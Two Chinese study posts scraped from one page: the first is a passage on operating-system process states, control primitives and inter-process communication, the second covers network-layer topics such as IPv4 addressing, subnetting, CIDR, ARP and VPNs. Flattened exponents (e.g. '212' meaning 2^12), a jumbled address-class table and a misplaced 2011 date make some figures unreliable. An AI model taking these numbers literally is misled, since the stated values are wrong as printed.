闲时,操作系统就会选择一个就绪进程,让它上处理机运行,若一个进程此时在CPU上运行,也就是CPU会执行该进程对应的程序(执行指令序列),那么这个进程处于"运行态"。4.在进程运行的过程中,可能会请求等待某个事件的发生(如等待某种系统资源的分配,或者等待其他进程的响应),在这个事件发生之前,进程无法继续往下执行,此时操作系统会让这个进程下CPU,并让它进入“阻塞态”。当CPU空闲时,又会选择另一个“就绪态”进程上CPU运行。5.一个进程可以执行 exit 系统调用,请求操作系统终止该进程。此时该进程会进入“终止态”操作系统会让该进程下CPU,并回收内存空间等资源,最后还要回收该进程的PCB。进程状态转换图如下:运行态-->阻塞态是一种进程自身做出的主动行为。阻塞态-->就绪态不是进程自身能控制的,是一种被动行为。注:进程不能由阻塞态直接转换为运行态也不能由就绪态直接转换为阻塞态 (因为进入阻塞态是进程主动请求的,必然需要进程在运行时才能发出这种请求,而不能从就绪态到阻塞态)运行态可以转化为就绪态:时间片到,或处理机被抢占。四.进程的组织为了对同一个状态下的各个进程进行统一的管理,操作系统会将各个进程的PCB组织起来。1.链接方式链接方式表示操作系统按照进程状态将PCB分为很多队列,操作系统持有指向各个队列的指针,每个队列都会指向相应状态进程的PCB很多操作系统还会根据阻塞原因不同,再分为多个阻塞队列2.索引方式操作系统会根据进程状态不同,为进程建立索引表,操作系统持有指向各个索引表的指针,每个索引表的表项会指向相应的PCB五.进程控制进程控制的主要功能是对系统中的所有进程实施有效的管理,也就是说进程控制就是要实现进程状态转换,它具有创建新进程、撤销已有进程、实现进程状态转换等功能。如何实现进程控制:进程控制的实现是通过原语实现的:原语在操作系统的内核中,原语是一种特殊的程序,它的执行具有原子性。也就是说,这段程序的运行必须一气呵成,不可中断。也就是进程控制(进程转换)是不可中断的假设PCB中的变量state 表示进程当前所处状态,1表示就绪态,2表示阻塞态。此时进程2等待的事件发生,则操作系统中,负责进程控制的内核程序至少需要做这样两件事:①将PCB2的state 设为1②将PCB2从阻塞队列放到就绪队列若完成了第一步后收到中断信号,那么PCB2的state=1,但是它却被放在阻塞队列里,如下图所示:所以如果不能“一气呵成”地执行完进程,就有可能导致操作系统中的某些关键数据结构信息不统一的情况,这会影响操作系统进行别的管理工作。所以需要用“原语”来实现。如何实现原语的“原子性”原语可以用“关中断指令”和“开中断指令”这两个特权指令实现原子性。注:普通的用户程序不能使用这两个指令,所以其为特权指令,只能运行在操作系统的内核中。在正常情况下,CPU每执行完一条指令都会例行检查是否有中断信号需要处理,如果有,则暂停运行当前这段程序,转而执行相应的中断处理程序。若CPU执行了关中断指令后,就不再例行检查中断信号,直到执行开中断指令之后才会恢复检查。例如此时指令a后有外部中断信号,CPU不会响应这一中断信号,会继续往下处理,直到CPU执行了开中断指令后,才会恢复检查。这样,关中断、开中断 之间的这些指令序列就是不可被中断的,这就实现了“原子六.进程控制相关原语1.创建原语操作系统创建一个进程时,会使用创建原语。1.申请空白PCB   2.为新进程分配所需资源   3.初始化PCB   4.将PCB插入就绪队列中所以创建原语使进程从创建态--->就绪态引起进程创建的事件:•用户登录:分时系统中,用户登录成功,系统会建立为其建立一个新的进程•作业调度:多道批处理系统中,有新的作业放入内存时,会为其建立一个新的进程•提供服务:用户向操作系统提出某些请求时,会新建一个进程处理该请求•应用请求:由用户进程主动请求创建一个子进程2.撤销原语撤销原语可以使程序从某种状态转为终止态,最终从进程中消失1.从PCB集合中找到终止进程的PCB   2.若进程正在运行,立即剥夺CPU,将CPU分配给其它进程   3.终止其所有子进程(进程间的关系是树形结构,PID为0,1的进程是祖先进程,这两个进程又创建了其他子进程)   4.将该进程拥有的所有资源归还给父进程或操作系统  5.删除PCB引起进程终止的事件:•正常结束:进程自己请求终止(exit系统调用)•异常结束:整数除以0,非法使用特权指令,然后被操作系统强行杀掉•外界干预:Ctrl+Alt+delete,用户选择杀掉进程3.阻塞原语某个进程从运行状态到阻塞状态,就会用到阻塞原语1.找到要阻塞的进程对应的PCB2.保护进程运行现场,将PCB状态信息设置为"阻塞态",暂时停止进程运行3.将PCB插入相应事件的等待队列引起进程阻塞的事件:•需要等待系统分配某种资源•需要等待相互合作的其他进程完成工作4.唤醒原语某个进程从阻塞态到就绪态,就会用到唤醒原语1.在事件等待队列中找到PCB2.将PCB从等待队列移除,设置进程为就绪态3.将PCB插入就绪队列,等待被调度引起进程唤醒的事件:•等待的事件发生,一个进程被什么事件阻塞,就应该被这一事件唤醒,所以阻塞原语与唤醒原语是成对存在的5.切换原语使一个处在运行态的进程,下处理机,回到就绪队列,并且使一个处在就绪态的进程,上处理机,切换为运行态。1.将运行环境信息存入PCB2.PCB移入相应队列3.选择另一个进程执行,并更新其PCB4.根据PCB恢复新进程所需的运行环境引起进程切换的事件:•当前进程时间片到•有更高优先级的进程到达•当前进程主动阻塞•当前进程终止补充:这里的恢复运行环境是什么意思呢程序指令会存放在CPU的寄存器中,当指令依次执行,寄存器的数据可能会更新覆盖,当操作系统想要使另外一个进程上CPU时,另一个进程也要使用到这些寄存器,此时,可以将这些寄存器中必要的内容保存到PCB中,然后切换为别的进程。当之前的进程想要重新上CPU时,操作系统就可以根据PCB保留的信息,恢复运行环境,接着执行该程序没有执行的指令所以:运行环境或者说是进程上下文,就是进程运行中,进程产生的中间结果,当进程需要下CPU时,需要将运行环境存储到PCB中,当进程需要上CPU时,可以根据PCB恢复进程所需的运行环境。七.进程间的通信进程间通信(Inter-Process Communication, IPC)是指两个进程之间产生数据交互。为什么进程通信需要操作系统支持:进程是分配系统资源的单位(包括内存地址空间),因此各进程拥有的内存地址空间相互独立,由于进程不能直接访问其他进程的空间,所以若两个进程需要进行进程通信,就需要通过操作系统进行进程间的通信。进程通信有三种方式:1.共享存储某个进程可以申请一片共享存储区,这片共享存储区可以被其他进程共享,所以P想要向Q传递数据,就可以先写到共享存储区,然后由Q将共享内存区映射到自己的地址空间中。共享存储是可以是基于存储区的共享,即操作系统在内存中划出一块共享存储区,数据的形式、存放位置都由通信进程控制,而不是操作系统。这种共享方式速度很快,是一种高级通信方式。也可以是基于数据结构的共享,比如共享空间里只能放一个长度为10的数组。这种共享方式速度慢、限制多,是一种低级通信方式。注:通过“增加页表项/段表项”即可将同一片共享内存区映射到各个进程的地址空间中为避免出错,各个进程对共享空间的访问应该是互斥的。各个进程可使用操作系统内核提供的同步斥工具(如P、V操作)2.消息传递进程间的数据交换以格式化的消息”(Message)为单位。进程通过操作系统提供的“发送消息/接收消息,两个原语进行数据交换。格式化的消息由两个部分组成:消息头,消息体消息头:发送进程ID、接受进程ID、消息长度等格式化的信息消息体:一个进程要传递给另一个进程的数据(1)直接通信方式消息发送进程要指明接收进程的ID直接通信的过程如下:1.进程P在自己的地址空间中,完善需要发送给Q的消息,并且使用发送原语send(Q,msg),来指明这个消息是要发送给Q进程2.接下来操作系统内核会接收到这个消息,并且将其挂在进程Q的消息队列中,也就是进程P的用户空间被复制到了内核空间中3.进程Q会使用接收原语receive(P,&msg),操作系统会检查进程Q的消息,看其中是否有Q想要接收的消息,若有,操作系统内核会将这个消息复制到进程Q的地址空间中。(2)间接通信方式通过“信箱”间接地通信,因此又称“信箱通信方式间接通信过程如下:1.若进程P与进程Q需要进行通信,那么进程P可以通过系统调用申请一个信箱或多个信箱2.接着在进程P在自己的地址空间中完善消息的内容3.用发送原语send(A,msg)来指明我要发送到A信箱(这里是发送到A信箱,并没有指明是哪一个进程)4.进程Q使用接收原语receive(A,&msg)从信箱A接受消息,它可以指明从哪个进程中接收,这样信箱A的msg就会被复制到进程Q的地址空间中了。注:可以多个进程往同一个信箱send消息,也可以多个进程从同一个信箱中receive消息 3.管道通信管道的意思即从管道的一边写进程,从管道的另一边读进程,数据的流动只能是单向的 “管道”是一个特殊的共享文件,又名pipe文件。其实就是在内存中开辟一个大小固定的内存缓冲区。若两个进程需要用管道通信,进程P通过系统调用的方式向系统申请一个管道文件,操作系统会新建一个管道文件,实质上就是开辟一个大小固定的内存缓冲区。并且从管道中写数据或读数据,并且数据是先进先出(FIFO)的。注:固定大小的缓冲区本质是一个循环队列。1.由于只能单向,所以管道只能采用半双工通信,某一时间段内只能实现单向的传输。如果要实现双向同时通信,则需要设置两个管道。2.各进程要互斥地访问管道(由操作系统实现)3.当管道写满时,写进程将阻塞,直到读进程将管道中的数据取走,即可唤醒写进程。4.当管道读空时,读进程将阻塞,直到写进程往管道中写入数据,即可唤醒读进程。5.管道中的数据一旦被读出,就彻底消失。因此,当多个进程读同一个管道时,可能会错乱。对此,通常有两种解决方案:①一个管道允许多个写进程,一个读进程。②允许有多个写进程,多个读进程,但系统会让各个读进程轮流从管道中读数据 (Linux 的方案)。管道通信与共享存储的区别在于:对于共享存储,进程P,Q都可以从共享区域中读写数据,没有限制但是对于管道通信而言,首先数据的流动是单向的,例如,P写数据,Q读数据,或者反过来。其次数据是先进先出的,也就是Q不是任意读取管道的数据,而是P先写进来的数据,Q才能读
0
0
0
浏览量534
爱喝奶茶的波波

网络层解读

基本介绍概述 当两台主机之间的距离较远(如相隔几十或几百公里,甚至几千公里)时,就需要另一种结构的网络,即广域网。广域网尚无严格的定义。通常是指覆盖范围很广(远超过一个城市的范围)的长距离的单个网络。它由一些结点交换机以及连接这些交换机的高速链路组成。将两个或多个计算机网络互联起来,就构成了互联网(internet) 。不同网络的“互连” 是它的最主要的特征。相距较远的局域网通过路由器与广域网相连,组成了一个覆盖范围很广的互联网。广域网是单个网络,使用结点交换机连接各主机。互联网是使用路由器来连接多个网络。从转发分组的角度,结点交换机和路由器具有相似的工作原理。结点交换机是在单个网络中转发分组,路由器是在多个网络构成的互联网中转发分组。位于一个广域网(或一个局域网)上的主机在该网内进行通信时,只需要使用其网络的物理地址即可。 实现网络互联的中间设备,称为中间设备或中继系统。根据中间设备所在的层次,有以下几种中间设备:物理层的中间设备——转发器(repeater)数据链路层的中间设备——网桥或桥接器(bridge)网络层的中间设备——路由器(router)网络层以上层次的中间设备——网关(gateway)当中继系统是转发器或网桥时,一般并不认为是网络互连。因为这仅仅是把一个网络扩大了,它仍然是一个网络。 使用网关实现网络互连。当N个网络互连时,由于每两个网络之间都需要有一个协议转换器,N个网络就需要有多达N(N-1)个协议转换器。为了简化网关的设计,提出了一种互联网的概念。采用互联网概念时,只要实现网络与互联网协议之间的互相转换。对于N个网络互连,所需2N个协议转换器就行了。因特网就是采用这种做法。凡参与互连的所有计算机网络都使用相同的网际协议IP。那么,参与互连的计算机网络相当于构成了一个虚拟互连网络。 虚拟互连网络的意义所谓虚拟互连网络也就是逻辑互连网络,它的意思就是互连起来的各种物理网络的异构性本来是客观存在的,但是我们利用 IP 协议就可以使这些性能各异的网络从用户看起来好像是一个统一的网络。使用 IP 协议的虚拟互连网络可简称为 IP 网。使用虚拟互连网络的好处是:当互联网上的主机进行通信时,就好像在一个网络上通信一样,而看不见互连的各具体的网络异构细节。如果在这种覆盖全球的IP网的上层使用TCP协议,那么就是现在的因特网(Internet)。  如果我们只从网络层考虑问题,那么 IP 数据报就可以想象是在网络层中传送。服务与功能 在计算机网络领域,网络层应该向运输层提供怎样的服务(“面向连接”还是“无连接”)曾引起了长期的争论。争论焦点的实质就是:在计算机通信中,可靠交付应当由谁来负责?是网络还是端系统呢?基于电信网的成功经验,让网络负责可靠交付,采用面向连接的通信方式 。建立虚电路(Virtual Circuit) ,以保证双方通信所需的一切网络资源。如果再使用可靠传输的网络协议,就可使所发送的分组无差错按序到达终点。如果网络层不提供可靠传送,则可简化路由器设计,端-端可靠通信由传输层负责。这就是在因特网中采用数据报的设计思路,有着许多好处。虚电路服务虚电路服务是网络层向运输层提供的一种使所有分组都能按序到达目的端系统的可靠的数据传送方式。在进行虚电路服务时,两个端系统之间存在着一条为之服务的虚电路。虚电路只是一条逻辑上的连接,分组都沿着这条逻辑连接按照存储转发方式传送,并不是真正建立了一条物理连接。而电路交换的电话通信是先建立了一条真正的连接。因此分组交换的虚连接和电路交换的连接只是类似,并不完全相同 数据报服务数据报服务是网络层向上提供简单灵活的、无连接的、尽力而为交付的服务方式。被因特网所采纳。网络在发送分组时不需要先建立连接。每一个分组(即 IP 数据报)都携带完整的目的地址信息,选择不同的路由独立发送,与其前后的分组无关(不进行编号)。网络层不提供服务质量的承诺。由于每个分组经历的路由不同,到达目的端系统的所花费的时间也不一样,所传送的分组可能出错、丢失、重复和失序(不按序到达终点),当然也不保证分组传送的时限 提供尽力而为服务的好处 由于传输网络不提供端到端的可靠传输服务,这就使网络中的路由器可以做得比较简单,而且价格低廉(与电信网的交换机相比较)。 如果主机(即端系统)中的进程之间的通信需要是可靠的,那么就由网络的主机中的运输层负责(包括差错处理、流量控制等)。网络的造价大大降低,运行方式灵活,能够适应多种应用。因特网能够发展到今日的规模,充分证明了当初采用这种设计思路的正确性H1 发送给 H2 的分组可能沿着不同路径传送项 目虚电路服务数据报服务设计思路可靠通信由网络负责可靠通信由用户主机负责端-端连接需要不需要目的地址仅在建立连接时使用,每个分组使用虚电路号每个分组都要携带完整的目的地址分组传送所有分组均按所建的同一条(虚)路由进行传送每个分组独立选择路由进行传送结点故障虚电路中故障的结点均不能工作故障的结点可能会丢失分组,也会改变某些路由分组顺序按序发送、按序接收按序发送,但不一定按序接收端到端的差错控制和流量控制由网络负责,也可由用户主机负责由用户主机负责网际协议IPv4 网际协议IP是TCP/IP体系中两个重要的协议之一。IPv4虽有最终被IPv6取代的趋势,但它仍是当前使用的最重要的因特网协议。 与IP配套使用的还有3个协议:地址解析协议ARP(Address Resolution Protocol)因特网控制报文协议ICMP(Internet Control Message Protocol)网际组管理协议IGMP(Internet Group Management Protocol)网际协议 IP 及其配套协议分类的 IP 地址 IPv4协议的主要特点IPv4协议提供一种无连接的分组传送服务,它不承诺服务质量的保证(即不保证传送的分组可能出现的差错、丢失、重复和失序等现象)。IPv4协议是点–点的网络层通信协议。Pv4协议对传输层屏蔽了物理网络的差异。网络层借助IP协议向传输层提供统一的IP分组,这有助于各种异构网络的互连。   IP地址及其指派把整个因特网可看成为一个单一的、抽象的网络。IP地址就是给每个连接在因特网上的主机(或路由器)分配一个在全世界范围内惟一的标识符(长度为32bit ) 。P地址由因特网名字与号码指派公司ICANN (Internet Corporation for Assigned Names and Numbers)进行分配的。 IP 地址的编址方法IP地址的编址经历两个阶段:分类IP地址。这是最基本的编址方法,1981年通过了相应的标准协议。基于分类IP地址存在的问题,又于1985年提出子网划分、变长子网划分的概念。这是对最基本的分类编址方法的改进。无分类IP地址。1993年又提出新的分类编址方法,且得到了推广应用。所谓“分类的IP地址”就是将IP地址划分为若干个固定类,每一类地址都由两个固定长度的字段组成,其中一个字段是网络号net-id,它标志某主机(或路由器)所连接的网络编号;另一个字段则是主机号host-id,它标志该主机(或路由器)在该类网络中的编号。n这种两级结构的 IP 地址可以记为:IP 地址 ::= { <网络号>, <主机号>} 其中,::= 代表“定义为” IPv4 地址的格式 IP地址的表示——点分十进制记法  辨别IP地址类别如果给出了二进制记法表示的地址,用它的前几位表示地址的类别。A、00000001  00001011  00001011  11101111     A类B、11000001  10000011  00011011  11111111     C类C、10100111  11011011  10001011  01101111     B类D、11110011  10011011  11111011  00001111     E类 如果用点分十进制记法表示的地址,则按第1 字节表示的十进制数来判定地址类别:A类为0~127,B类为128~191,C类为192~223,D类为224~239,E类为240~255。A、227.12.14.87  D类B、193.14.56.22  C类C、14.23.120.8  A类D、252.5.15.111  E类E、134.11.78.56  B类 特殊的IP地址网络号为全0是指本网络。网络号和主机号均为全1是对本网络进行广播(路由器不转发)。A类网络地址127是一个保留地址,用于本地软件环回测试之用。主机号为全1是指对本网络号的所有主机进行广播。地址类别可指派的最多网络数第一个可指派的网络号最后一个可指派的网络号每个网络中可拥有的最多主机数约占整个地址空间的比例A125(27-3)112616777214(224-2)50%B16367(216-17)128.1191.25565534(216-2)25%C2096895(221-257)192.0.1223.255.255254(28-2)12.5%IP 地址的一些重要特点IP地址是一种分级式地址结构。它不反映主机(或路由器)所在地理位置的任何信息。每一个IP地址都由网络号和主机号两部分组成。这种地址结构的好处是:P地址管理机构在分配IP地址时只分配网络号(第一级),而剩下的主机号(第二级)则由得到该网络号的单位自行分配。这样就方便了IP 地址的管理。路由器仅根据目的主机所连接的网络号来转发分组(而不考虑目的主机号),这样就可以使路由表中的项目数大幅度减少,从而减小了路由表所占的存储空间。 IP地址指明了一台主机(或路由器)和一条链路的接口。 当一个主机同时连接到两个网络上时,该主机就必须同时具有两个相应的IP地址,其网络号 net-id必须是不同的。这种主机称为多归属主机(multihomed host)。由于一个路由器至少应当连接到两个网络,因此一个路由器至少也应当有两个不同的 IP 地址凡是分配到网络号net-id的网络,无论是范围很小的局域网,还是可能覆盖很大地理范围的广域网,其地位都是平等的。按照因特网的观点,一个网络是指具有相同网络号的主机的集合。用转发器或网桥连接起来的若干个局域网仍为一个网络,因为这些局域网都具有相同的网络号 net-id。 划分子网三级IP地址的构成当初的IP地址设计不够合理,主要体现在:IP地址使用存在很大的浪费,地址空间的利用率很低。如10BASE-T允许加接的主机数是1024,但必须申请一个B类地址,则浪费了64510个地址,地址空间利用率仅为1.56%。两级IP地址不够灵活。某单位对本单位的网络都有按部门划分的要求,但两级IP地址结构中并没有作出这方面的规定。按物理网络分配一个网络号的方法,将导致路由表的表项越来越多,这不易改善网络性能 1985年起,IP地址格式中增加了一个“子网号字段”,使IP地址由两级结构变为三级结构。这种做法叫作划分子网。划分子网的基本思路划分子网纯属单位内部的事情,对本单位以外的网络是完全透明的。划分子网的方法是把主机号字段的前若干个比特作为子网号字段,则 IP地址∷={<网络号>,<子网号>,<主机号>}       凡从其他网络传送到本单位网络某主机的IP数据报,仍然按IP数据报的目的网络号传送到连接在本单位网络上的路由器。此路由器收到 IP 数据报后,再按目的网络号 net-id 和子网号 subnet-id 找到目的子网。最后将 IP 数据报直接交付给目的主机。举例:一个未划分子网的 B 类网络145.13.0.0划分为三个子网后,对外仍是一个网络 子网掩码由于IP地址本身以及数据报的首部都没有包含任何关于划分子网的信息,所以从一个IP数据报的首部无法判断源主机或目的主机所连接的网络是否进行了子网的划分。如何知道子网的划分呢?划分子网要用到子网掩码(subnet mask)的概念。使用子网掩码(subnet mask)可以很方便地找出 IP 地址中的子网部分。TCP/IP体系规定:子网掩码是一个32位二进制数,由一串连续的“1”后随一串连续的“0”组成。其中“1”对应于IP地址的网络号和子网号字段,而“0”对应于IP地址的主机号字段。 子网掩码采用点分十进制表示法(255.255.0.0),也可用网络前缀(或斜线)标记法(135.41.0.0/16) IP 地址的各字段和子网掩码的关系(IP地址) AND (子网掩码) =网络地址 子网掩码是一个网络或一个子网的重要属性。因特网标准规定:所有的网络都必须有一个子网掩码,它包含在路由表中。划分子网的概念也适用于未划分子网的情况。未划分子网的网络可使用默认子网掩码。使用子网掩码可简化路由器的路由选择算法。A、B和C类IP地址的默认子网掩码划分子网的利弊利——增加了灵活性。弊——减少了能够连接在网络上的主机总数。例如,一个B类地址最多可连接65534台主机,但当划分成4个子网后,实际连接的主机为32764台,这是因为[RFC950]规定:子网号不能为全0或全1变长子网子网划分的最初目的是把基于类的网络划分为几个规模相同的子网。其实,创建不同规模的子网可避免IP地址的浪费。对于不同规模子网的划分,称为变长子网划分。变长子网划分是一种用不同长度的子网掩码来分配子网号字段的技术。它是对已划分好的子网使用不同的子网掩码做进一步划分形成不同规模的网络,从而提高IP地址资源的利用率。变长子网划分举例一个B类IP地址为136.48.0.0的网络,需配置为1个能容纳32000台主机的子网,15个能容纳2000台主机的子网和8个能容纳254台主机的子网。无分类编址 划分子网的概念缓解了当初IP地址设计不够合理所引起的矛盾,而变长子网的概念也符合用户对IP地址实际使用的需要。但这些措施并未从根本上缓解因特网在发展过程中所遇到的困难。在1992年,因特网面临着三个急需解决的问题:①B类地址在1992年已分配过半。②因特网主干网上的路由表中的项目数急剧增长。③2011年2月,IANA宣布IPv4地址已经耗尽。IETF在VLSM的基础上,又研究出采用无分类编址方法来解决上述问题。无分类编址方法的正式名字无分类域间路由选择CIDR(Classless Inter-Domain Routing),其新文档是RFC 4632CIDR的主要设计思想CIDR取消了以往对IP地址进行分类以及划分子网的概念,利用各种长度的“网络前缀 (network-pfefix) ”来代替分类地址中的网络号和子网号。            IP地址∷={<网络前缀>,<主机号>} CIDR把网络前缀相同的连续的IP地址块组成“CIDR地址块”。一个CIDR地址块可用它的起始地址和块中地址数来表示。如136.48.32.8/20表示某CIDR地址块中的一个地址。 无分类编址的表示CDIR使用网络前缀标记法(或斜线记法),即在IP地址后面加一斜线“/”再加一数字,此数字是网络前缀的位数,如136.48.52.36,表示该IP地址的前20位是网络前缀。CIDR还使用其他几种表示形式。一种是把点分十进制中的低位连续的“0”省去,如20.0.0.0/10,可表示为20/10。另一种是在网络前缀后面加一个星号“*”,如00010100 00*,其中星号前是网络前缀,星号表示IP地址中的主机号CIDR地址块举例136.48.32.8/20表示在这个32位的IP地址中,前20位为网络前缀,后12位为主机号。每个地址块共有212个地址,其起始地址是136.48.32.0。在不需要指出地址块的起始地址时,也可将这样的地址块简称为“/20地址块”。136.48.32.0/20地址块的最小地址:136.48.32.0,最大地址:136.48.47.255。全 0 和全 1 的主机号地址一般不使用。136.48.32.8/20地址块含有212个地址 路由聚合(route aggregation)一个CIDR地址块可以包含很多地址,路由表的表项也可改用地址块来表示。这种地址聚合称为路由聚合。路由聚合既利于缩短路由表,又可减少查找路由表的时间,从而提高了因特网的性能。路由聚合也称为构建超网(supernetting)。CIDR 虽然不使用子网概念,但仍然使用“掩码”这一名词(只是不叫子网掩码而已)。如对 /20 地址块,它的掩码是20个连续的1。斜线记法中的数字就是掩码中 1 的个数。 构建超网在“包含的地址数中”,包含了全0和全1地址。表中K表示210(即1024)。网络前缀小于13或大于27的地址较少使用。 CIDR地址块中的地址数一定是2的整数次幂。前缀长度不超过23位的CIDR地址块都包含了相当于多个C类地址。这些C类地址合起来就构成了超网。网络前缀越短,其地址块所包含的地址数就越多。而在三级结构的IP地址中,划分子网是使网络前缀变长。使用CIDR构建超网,必须得到相关路由器及其协议的支持。使用CIDR地址块的最大好处可以更有效地分配IPv4的地址空间。如某单位需用900个IP地址。未使用CIDR时,ISP可以分配给该单位一个B类地址或者4个C类地址。但使用了CIDR,ISP可分配给该单位一个地址块208.18.128.0/22,它包含1024个IP地址,相当于4个连续的/24地址块。可以按网络所在的地理位置来分配地址块,这可以大大缩小路由表所占的空间,即减少路由表的表项数。地址解释和地址转换 IP 地址与硬件地址的区别举例:用两个路由器互连三个局域网通信的路径是:H1→经过 R1 转发→再经过 R2 转发→ H2从协议栈的层次上看数据的流动 从虚拟的 IP 层上看 IP 数据报的流动在链路上看 MAC 帧的流动 在IP层抽象的互联网上只能看到IP数据报。图中的IP1→IP2表示从源地址IP1到目的地址IP2,两个路由器的IP地址并不出现在IP数据报的首部中虽然在IP数据报首部有源站IP地址,但路由器只根据目的站的IP地址的网络号进行路由选择 在具体的物理网络的链路层,只能看见MAC帧,而看不见IP数据报(它被封装在MAC帧中) 。MAC帧在传送过程中,首部中填写的硬件地址HAx是不同的。尽管互连在一起的网络的硬件地址体系各不相同,但IP层抽象的互联网屏蔽了下层很复杂的细节。在抽象的网络层上讨论问题,就能够使用统一的、抽象的 IP 地址来研究主机与主机或主机与路由器之间的通信。 地址解析协议ARP无论网络层使用什么协议,在实际网络的链路上传送数据帧时,最终使用的是硬件地址。IP地址(32位)和硬件地址(48位)之间不存在简单的映射关系。ARP协议解决IP地址与物理地址的映射,而RARP协议解决物理地址与IP地址的映射。每一个主机都设有一个ARP高速缓存(cache),里面存放有所在的局域网上的各主机和路由器的IP地址到硬件地址的映射表。当主机A欲向本局域网上的某个主机B发送IP数据报时,就先在其ARP高速缓存中查看有无主机B的IP地址。如有,即得到其对应的硬件地址,再将此硬件地址写入MAC帧,然后通过局域网将该 MAC帧发往此硬件地址。否则该主机运行ARP协议。ARP 高速缓存高速缓存的作用就在于可以减少网络上的通信量。如果不用高速缓存,因为网络上的任一台主机要进行通信都需用广播方式发送ARP请求分组,这将导致网络上的通信量大大增加。用了高速缓存就可将得到的地址映射存入待用。ARP对存放在高速缓存中的“IP地址-硬件地址”映射表设置生存时间(如10min)。凡超过生存时间的表项即删除。被删除的表项无原则重新建立,也要经过前面所述的查找目的主机硬件地址的过程。ARP是解决同一个局域网上的主机(或路由器)的IP地址和硬件地址的映射问题。只要主机或路由器与本网络上的另一个已知IP地址的主机或路由器进行通信,ARP协议就会自动地将该 IP地址解析为链路层所需要的硬件地址。如果所要找的目的主机和源主机不在同一个局域网上,那么就要通过ARP找到一个位于本局域网上的某个路由器的硬件地址,然后把分组发送给这个路由器,让这个路由器把分组转发给下一个网络。剩下的工作就由下一个网络来做。从IP地址到硬件地址的解析是自动进行的,这种地址解析过程对用户对透明的。使用 ARP 的四种典型情况发送方是主机,要把IP数据报发送到本网络上的另一个主机。这时用 ARP 找到目的主机的硬件地址。发送方是主机,要把 IP 数据报发送到另一个网络上的一个主机。这时用 ARP 找到本网络上的一个路由器的硬件地址。剩下的工作由这个路由器来完成。发送方是路由器,要把 IP 数据报转发到本网络上的一个主机。这时用 ARP 找到目的主机的硬件地址。发送方是路由器,要把 IP 数据报转发到另一个网络上的一个主机。这时用 ARP 找到本网络上另一个路由器的硬件地址。剩下的工作由这个路由器来完成。   为什么不直接使用硬件地址进行通信?由于全世界存在着各式各样的网络,它们使用不同的硬件地址。要使这些异构网络能够互相通信就必须进行非常复杂的硬件地址转换工作,这几乎是不可能的事。IP编址解决了这个复杂问题。凡连接到因特网的主机都拥有统一的IP地址,它们之间的通信就像连接在同一个网络上那样简单方便,因为调用ARP来寻找某个路由器或主机的硬件地址都是由计算机软件自动进行的,对用户来说是看不见这种调用过程的。 虚拟专用网VPN由于IP地址的紧缺,一个机构能够申请到的IP地址数往往远小于本机构所拥有的主机数。考虑到因特网安全性并不很好,一个机构内也并不需要把所有的主机都接入到外部的因特网。因而就有一个设想:假定一个机构内部的计算机通信也采用TCP/IP协议,那么从原则上讲,对于这些仅在机构内部使用的计算机就可以由本机构自行分配其IP地址两种地址本地地址--仅在本机构内部使用的IP地址,可由本机构自行分配,不必向因特网的管理机构申请。全球地址--全球唯一的IP地址,必须向因特网的管理机构申请。存在的问题:在内部使用的本地地址有可能与因特网中某个IP地址重合,从而出现地址的二义性问题解决的办法:RFC1918指明了一些专用地址。专用地址只能用作本地地址而不能用作全球地址。在因特网中的所有路由器,对目的地址是专用地址的数据报一律不进行转发。三个专用地址块,即ICANN预留的部分A、B和C类专用地址块。A类:10.0.0.0~10.255.255.255;B类:172.16.0.0~172.31.255.255;C类:192.168.0.0~192.168.255.255 采用这种专用IP地址的专用网称为拟专用网VPN。虚拟专用网VPN是建立在基础网络之上的一种功能性网络。它向使用者提供一般专用网所具有的功能,但本身却不是一个独立的物理网络,而是通过隧道技术,架构在公共网络服务商所提供的网络平台(如Internet、ATM和FR等)之上的逻辑网络。虚拟专用网的两个含义:一是“虚拟”,因为整个VPN网上的任意两个结点之间的连接并没有传统专用网所需的端到端的物理链路,而是将它建立在分布广泛的公用网络的平台上;二是一个“专用网”,每个VPN用户都可以从临时的“专用网”上获得所需的资源。构建虚拟专用网的注意事项在不同网点的专用网之间进行通信,而需要通过公用的因特网,又有保密要求的,那么所有通过因特网的数据都必须加密。一个机构要构建自己的VPN就必须为它的每一个场所购买专用的硬件和软件,并进行配置,使每一个场所的VPN系统都知道其他场所的地址。 虚拟专用网的特点成本低廉,只需支付日常的上网费用。得到最常用的网络协议的广泛支持。具有身份验证、数据加密等安全可靠功能。易于扩充和管理。 虚拟专用网的不足安全性。由于因特网不是一个可信赖的安全网络,为确保数据传输的安全,应对入网传输的数据进行加密处理。可管理性。VPN的管理要能够应对电信单位需求的快速变化,以避免额外的远行开支。性能。由于ISP是“尽力交付”传输的IP分组,而跨因特网的传输性能又无法得到保证,且时有变化,所以附加的安全措施也会显著地降低性能。利用隧道技术实现虚拟专用网隧道的建立有两种方式:一种是自愿隧道,指服务器计算机或路由器可以通过发送VPN请求配置和创建的隧道;另一种是强制隧道,指由VPN服务提供商配置和创建的隧道。隧道有两种类型:①点-点隧道。隧道由远程用户计算机延伸到企业服务器,由两边的设备负责隧道的建立,以及两点之间数据的加密和解密。②端-端隧道。隧道中止于防火墙等网络边缘设备,它的主要功能是连接两端的局域网。IP 数据报的格式   IP数据报由首部和数据两部分组成。IP数据报的首部首部的前一部分为固定长度(20字节),这是所有IP数据报必须具有的。首部固定部分的后面是选项和填充字段(长度可变) 。数据部分的长度也是可变的版本——4位,指IP协议的版本。目前广泛使用的协议版本号为4 (即IPv4)。通信双方的协议版本必须一致。首部长度——4位,表示数据报首部的长度。因首部长度可表示的最大数值是15个单位(每单位为4 字节),所以IP的首部长度的最大值为60字节。当首部长度不足4字节的整数倍时,可利用填充字段加以填充补齐区分服务——8位,表示对数据报的服务要求。前三位表示优先级(0~7,0最低),D、T、R和C分别表示对时延、吞吐量、可靠性和路由服务费用有选择的要求。最后一位未用。该字段只有当使用区分服务时才使用。总长度——16位,指整个数据报(包括首部和数据)的长度,单位为字节。数据报的最大长度为65535字节(64KB)。总长度必须不超过数据链路层的最大传送单元MTU。当数据报长度超过MTU时,需对其分片,此时的总长度是指分片后的每一分片(包括首部与数据) 的长度标识(identification) ——16位,它用于数据报各分片最终被重装成来原来的数据报。它是一个计数器,每产生一个数据报,计数器就加1,并将此值赋给标识字段。目的主机将相同标识字段值的各分片数据报最后进行正确地重装(合片)。标志(flag) ——3位,目前只有后两位有意义。最低位记作 MF (More Fragment)。MF=1表示后面“还有分片”。MF=0表示已是最后一个分片。次低位是DF(Don‘t Fragment) 